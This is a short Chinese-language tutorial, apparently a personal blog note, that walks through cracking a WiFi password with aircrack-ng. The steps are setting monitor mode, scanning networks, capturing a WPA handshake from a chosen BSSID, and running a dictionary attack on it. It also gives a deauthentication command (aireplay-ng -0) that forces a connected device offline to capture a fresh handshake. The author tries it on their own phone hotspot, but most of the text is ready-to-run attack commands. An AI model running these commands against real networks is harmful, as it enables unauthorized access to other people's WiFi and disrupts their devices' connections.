先输入ifconfig 看看有没有无线网卡
然后再插入无线网卡 就可以知道插入的无线网卡叫什么名字
下图的无线网卡叫 wlan0
airmon-ng start wlan0 将网卡转换为监听模式，你将会看到下列信息
接着关闭可能阻碍的进程 kill 482 741 4000 (我这里不用杀进程 这三个进程都是无线网卡所需要的)
airodump-ng wlan0mon #开始扫描附近的无线网络 （不知道为什么打wlan0 这个名字提示没有找到此驱动 重新输入 ifconfig后发现名字变为下面这个）
Bssid #路由器、AP的mac地址
CH： #无线信道，要看准
ENC： #加密协议、自WPA2协议爆出重大的安全漏洞，现已经出WPA3，坐等更新
PWR：信号强度、越小越强
DATA：传输的数据大小，大的可能在下载或看视频什么的
ESSID：wifi名称，有中文可能会出现乱码
开始抓握手包，这里我们选择我手机开的wifi
airodump-ng -w test --bssid 9E:2E:A1:67:F6:1B -c 6 wlan0mon
例子：airodump-ng -c 11 -w test --bssid 00:71:CC:17:CB:5C wlan0 #命令含义:airodump-ng -c 信道 -w 抓包生成的文件名 --bssid 路由器的mac地址 本机使用的抓包网卡名 # 得到该无线的网络状态信息
下图显示抓到握手包了
抓握手包 要删除记录密码 再重新输入密码才抓到
开始跑字典 在根目录放下password.txt
输入aircrack-ng -w password.txt test-03.cap
aircrack-ng -w /wnt/a/1pass01.txt wode.cap #命令含义:aircrack-ng -w 字典包位置 抓包生成的文件名.cap #跑字典解密
WIFI封包攻击
显示出有几台设备连接了该wifi，输入相应的mac地址就可以攻击该设备掉线。（手机显示wifi已停用）
aireplay-ng -0 0 -c 9C:2E:A1:E7:F6:1B -a E4:D3:32:8C:B3:AA wlan0mon
手机重新连接后又可以抓到握手包了
参考网站
https://www.jianshu.com/p/d4da13258f35
https://blog.csdn.net/wingstudio_zongheng/article/details/51435212